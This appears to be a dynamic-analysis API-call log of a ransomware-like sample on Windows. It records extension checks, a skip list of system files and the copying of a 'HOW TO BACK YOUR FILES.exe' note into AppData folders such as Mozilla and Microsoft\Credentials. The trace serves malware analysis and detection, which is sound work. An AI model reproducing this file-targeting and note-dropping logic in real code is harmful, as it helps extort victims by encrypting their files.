	[0042.881] lstrcmpiW (lpString1=".json", lpString2="accft") returned -1
	[0042.881] lstrlenW (lpString="adb") returned 3
	[0042.881] lstrcmpiW (lpString1="son", lpString2="adb") returned 1
	[0042.881] lstrlenW (lpString="adb") returned 3
	[0042.881] lstrcmpiW (lpString1="son", lpString2="adb") returned 1
	[0042.881] lstrlenW (lpString="ade") returned 3
	[0042.881] lstrcmpiW (lpString1="son", lpString2="ade") returned 1
	[0042.881] lstrlenW (lpString="adf") returned 3
	[0042.881] lstrcmpiW (lpString1="son", lpString2="adf") returned 1
	[0042.881] lstrlenW (lpString="adn") returned 3
	[0042.881] lstrcmpiW (lpString1="son", lpString2="adn") returned 1
	[0042.881] lstrlenW (lpString="adp") returned 3
	[0042.881] lstrcmpiW (lpString1="son", lpString2="adp") returned 1
	[0042.881] lstrlenW (lpString="alf") returned 3
	[0042.881] lstrcmpiW (lpString1="son", lpString2="alf") returned 1
	[0042.881] lstrlenW (lpString="ask") returned 3
	[0042.881] lstrcmpiW (lpString1="son", lpString2="ask") returned 1
	[0042.881] lstrlenW (lpString="btr") returned 3
	[0042.881] lstrcmpiW (lpString1="son", lpString2="btr") returned 1
	[0042.881] lstrlenW (lpString="cat") returned 3
	[0042.881] lstrcmpiW (lpString1="son", lpString2="cat") returned 1
	[0042.882] lstrlenW (lpString="cdb") returned 3
	[0042.882] lstrcmpiW (lpString1="son", lpString2="cdb") returned 1
	[0042.882] lstrlenW (lpString="ckp") returned 3
	[0042.882] lstrcmpiW (lpString1="son", lpString2="ckp") returned 1
	[0042.882] lstrlenW (lpString="cma") returned 3
	[0042.882] lstrcmpiW (lpString1="son", lpString2="cma") returned 1
	[0042.882] lstrlenW (lpString="cpd") returned 3
	[0042.882] lstrcmpiW (lpString1="son", lpString2="cpd") returned 1
	[0042.882] lstrlenW (lpString="dacpac") returned 6
	[0042.882] lstrcmpiW (lpString1="5.json", lpString2="dacpac") returned -1
	[0042.882] lstrlenW (lpString="dad") returned 3
	[0042.882] lstrcmpiW (lpString1="son", lpString2="dad") returned 1
	[0042.882] lstrlenW (lpString="dadiagrams") returned 10
	[0042.882] lstrcmpiW (lpString1="-16_5.json", lpString2="dadiagrams") returned -1
	[0042.882] lstrlenW (lpString="daschema") returned 8
	[0042.882] lstrcmpiW (lpString1="6_5.json", lpString2="daschema") returned -1
	[0042.882] lstrlenW (lpString="db-journal") returned 10
	[0042.882] lstrcmpiW (lpString1="-16_5.json", lpString2="db-journal") returned -1
	[0042.882] lstrlenW (lpString="db-shm") returned 6
	[0042.882] lstrcmpiW (lpString1="5.json", lpString2="db-shm") returned -1
	[0042.882] lstrlenW (lpString="db-wal") returned 6
	[0042.882] lstrcmpiW (lpString1="5.json", lpString2="db-wal") returned -1
	[0042.882] lstrlenW (lpString="dbc") returned 3
	[0042.882] lstrcmpiW (lpString1="son", lpString2="dbc") returned 1
	[0042.882] lstrlenW (lpString="dbs") returned 3
	[0042.882] lstrcmpiW (lpString1="son", lpString2="dbs") returned 1
	[0042.882] lstrlenW (lpString="dbt") returned 3
	[0042.882] lstrcmpiW (lpString1="son", lpString2="dbt") returned 1
	[0042.882] lstrlenW (lpString="dbv") returned 3
	[0042.882] lstrcmpiW (lpString1="son", lpString2="dbv") returned 1
	[0042.882] lstrlenW (lpString="dbx") returned 3
	[0042.882] lstrcmpiW (lpString1="son", lpString2="dbx") returned 1
	[0042.882] lstrlenW (lpString="dcb") returned 3
	[0042.883] lstrcmpiW (lpString1="son", lpString2="dcb") returned 1
	[0042.883] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports"
	[0042.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0042.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0042.883] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned 75
	[0042.883] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports"
	[0042.883] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0042.883] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\crash reports\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0042.889] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0042.889] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x31a397d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31a397d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0042.889] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.889] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0042.889] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0042.889] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x31a397d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31a397d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0042.889] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.889] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0042.889] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0042.889] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0042.889] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31a397d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31a397d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0042.889] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0042.889] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="InstallTime20131025151332", cAlternateFileName="INSTAL~1")) returned 1
	[0042.889] lstrcmpiW (lpString1="InstallTime20131025151332", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.890] lstrcmpiW (lpString1="InstallTime20131025151332", lpString2="Apollon865.txt.exe") returned 1
	[0042.890] lstrcmpiW (lpString1="InstallTime20131025151332", lpString2=".") returned 1
	[0042.890] lstrcmpiW (lpString1="InstallTime20131025151332", lpString2="..") returned 1
	[0042.890] lstrcmpiW (lpString1="InstallTime20131025151332", lpString2="windows") returned -1
	[0042.890] lstrcmpiW (lpString1="InstallTime20131025151332", lpString2="bootmgr") returned 1
	[0042.890] lstrcmpiW (lpString1="InstallTime20131025151332", lpString2="temp") returned -1
	[0042.890] lstrcmpiW (lpString1="InstallTime20131025151332", lpString2="pagefile.sys") returned -1
	[0042.890] lstrcmpiW (lpString1="InstallTime20131025151332", lpString2="boot") returned 1
	[0042.890] lstrcmpiW (lpString1="InstallTime20131025151332", lpString2="ids.txt") returned 1
	[0042.890] lstrcmpiW (lpString1="InstallTime20131025151332", lpString2="ntuser.dat") returned -1
	[0042.890] lstrcmpiW (lpString1="InstallTime20131025151332", lpString2="perflogs") returned -1
	[0042.890] lstrcmpiW (lpString1="InstallTime20131025151332", lpString2="MSBuild") returned -1
	[0042.890] lstrlenW (lpString="InstallTime20131025151332") returned 25
	[0042.890] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*") returned 77
	[0042.890] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="InstallTime20131025151332" | out: lpString1="InstallTime20131025151332") returned="InstallTime20131025151332"
	[0042.890] lstrlenW (lpString="InstallTime20131025151332") returned 25
	[0042.890] lstrlenW (lpString="Apollon865") returned 10
	[0042.890] lstrcmpiW (lpString1="1025151332", lpString2="Apollon865") returned -1
	[0042.890] lstrlenW (lpString=".dll") returned 4
	[0042.890] lstrcmpiW (lpString1="InstallTime20131025151332", lpString2=".dll") returned 1
	[0042.890] lstrlenW (lpString=".lnk") returned 4
	[0042.890] lstrcmpiW (lpString1="InstallTime20131025151332", lpString2=".lnk") returned 1
	[0042.890] lstrlenW (lpString=".ini") returned 4
	[0042.890] lstrcmpiW (lpString1="InstallTime20131025151332", lpString2=".ini") returned 1
	[0042.890] lstrlenW (lpString=".sys") returned 4
	[0042.890] lstrcmpiW (lpString1="InstallTime20131025151332", lpString2=".sys") returned 1
	[0042.890] lstrlenW (lpString="InstallTime20131025151332") returned 25
	[0042.890] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions"
	[0042.890] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0042.891] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0042.891] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions") returned 64
	[0042.891] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions"
	[0042.891] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0042.891] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\extensions\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0042.896] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0042.896] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb458e750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x31a397d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31a397d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0042.896] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.896] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0042.896] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0042.896] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb458e750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x31a397d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31a397d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0042.897] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.897] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0042.897] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0042.897] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0042.897] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31a397d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31a397d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0042.897] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0042.897] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31a397d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31a397d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0042.897] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0042.897] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0042.897] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft"
	[0042.897] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0042.897] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0042.897] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft") returned 55
	[0042.897] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft"
	[0042.897] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0042.897] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0042.902] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0042.902] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a397d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31a397d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0042.902] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.902] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0042.902] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0042.902] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a397d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31a397d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0042.902] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.902] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0042.902] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0042.902] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0042.902] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7c36290, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x7c36290, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x7c36290, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AddIns", cAlternateFileName="")) returned 1
	[0042.902] lstrcmpiW (lpString1="AddIns", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.902] lstrcmpiW (lpString1="AddIns", lpString2="Apollon865.txt.exe") returned -1
	[0042.902] lstrcmpiW (lpString1="AddIns", lpString2=".") returned 1
	[0042.902] lstrcmpiW (lpString1="AddIns", lpString2="..") returned 1
	[0042.902] lstrcmpiW (lpString1="AddIns", lpString2="windows") returned -1
	[0042.902] lstrcmpiW (lpString1="AddIns", lpString2="bootmgr") returned -1
	[0042.903] lstrcmpiW (lpString1="AddIns", lpString2="temp") returned -1
	[0042.903] lstrcmpiW (lpString1="AddIns", lpString2="pagefile.sys") returned -1
	[0042.903] lstrcmpiW (lpString1="AddIns", lpString2="boot") returned -1
	[0042.903] lstrcmpiW (lpString1="AddIns", lpString2="ids.txt") returned -1
	[0042.903] lstrcmpiW (lpString1="AddIns", lpString2="ntuser.dat") returned -1
	[0042.903] lstrcmpiW (lpString1="AddIns", lpString2="perflogs") returned -1
	[0042.903] lstrcmpiW (lpString1="AddIns", lpString2="MSBuild") returned -1
	[0042.903] lstrlenW (lpString="AddIns") returned 6
	[0042.903] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*") returned 57
	[0042.903] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="AddIns" | out: lpString1="AddIns") returned="AddIns"
	[0042.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0042.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf898
	[0042.903] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0042.903] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1
	[0042.903] lstrcmpiW (lpString1="Credentials", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.903] lstrcmpiW (lpString1="Credentials", lpString2="Apollon865.txt.exe") returned 1
	[0042.903] lstrcmpiW (lpString1="Credentials", lpString2=".") returned 1
	[0042.903] lstrcmpiW (lpString1="Credentials", lpString2="..") returned 1
	[0042.903] lstrcmpiW (lpString1="Credentials", lpString2="windows") returned -1
	[0042.903] lstrcmpiW (lpString1="Credentials", lpString2="bootmgr") returned 1
	[0042.903] lstrcmpiW (lpString1="Credentials", lpString2="temp") returned -1
	[0042.903] lstrcmpiW (lpString1="Credentials", lpString2="pagefile.sys") returned -1
	[0042.903] lstrcmpiW (lpString1="Credentials", lpString2="boot") returned 1
	[0042.903] lstrcmpiW (lpString1="Credentials", lpString2="ids.txt") returned -1
	[0042.903] lstrcmpiW (lpString1="Credentials", lpString2="ntuser.dat") returned -1
	[0042.903] lstrcmpiW (lpString1="Credentials", lpString2="perflogs") returned -1
	[0042.903] lstrcmpiW (lpString1="Credentials", lpString2="MSBuild") returned -1
	[0042.903] lstrlenW (lpString="Credentials") returned 11
	[0042.903] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns") returned 62
	[0042.903] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Credentials" | out: lpString1="Credentials") returned="Credentials"
	[0042.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0042.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b9168
	[0042.903] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0042.904] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1
	[0042.904] lstrcmpiW (lpString1="Crypto", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.904] lstrcmpiW (lpString1="Crypto", lpString2="Apollon865.txt.exe") returned 1
	[0042.904] lstrcmpiW (lpString1="Crypto", lpString2=".") returned 1
	[0042.904] lstrcmpiW (lpString1="Crypto", lpString2="..") returned 1
	[0042.904] lstrcmpiW (lpString1="Crypto", lpString2="windows") returned -1
	[0042.904] lstrcmpiW (lpString1="Crypto", lpString2="bootmgr") returned 1
	[0042.904] lstrcmpiW (lpString1="Crypto", lpString2="temp") returned -1
	[0042.904] lstrcmpiW (lpString1="Crypto", lpString2="pagefile.sys") returned -1
	[0042.904] lstrcmpiW (lpString1="Crypto", lpString2="boot") returned 1
	[0042.904] lstrcmpiW (lpString1="Crypto", lpString2="ids.txt") returned -1
	[0042.904] lstrcmpiW (lpString1="Crypto", lpString2="ntuser.dat") returned -1
	[0042.904] lstrcmpiW (lpString1="Crypto", lpString2="perflogs") returned -1
	[0042.904] lstrcmpiW (lpString1="Crypto", lpString2="MSBuild") returned -1
	[0042.904] lstrlenW (lpString="Crypto") returned 6
	[0042.904] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials") returned 67
	[0042.904] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Crypto" | out: lpString1="Crypto") returned="Crypto"
	[0042.904] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0042.904] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf4e0
	[0042.904] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0042.904] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Document Building Blocks", cAlternateFileName="DOCUME~1")) returned 1
	[0042.904] lstrcmpiW (lpString1="Document Building Blocks", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.904] lstrcmpiW (lpString1="Document Building Blocks", lpString2="Apollon865.txt.exe") returned 1
	[0042.904] lstrcmpiW (lpString1="Document Building Blocks", lpString2=".") returned 1
	[0042.904] lstrcmpiW (lpString1="Document Building Blocks", lpString2="..") returned 1
	[0042.904] lstrcmpiW (lpString1="Document Building Blocks", lpString2="windows") returned -1
	[0042.904] lstrcmpiW (lpString1="Document Building Blocks", lpString2="bootmgr") returned 1
	[0042.904] lstrcmpiW (lpString1="Document Building Blocks", lpString2="temp") returned -1
	[0042.904] lstrcmpiW (lpString1="Document Building Blocks", lpString2="pagefile.sys") returned -1
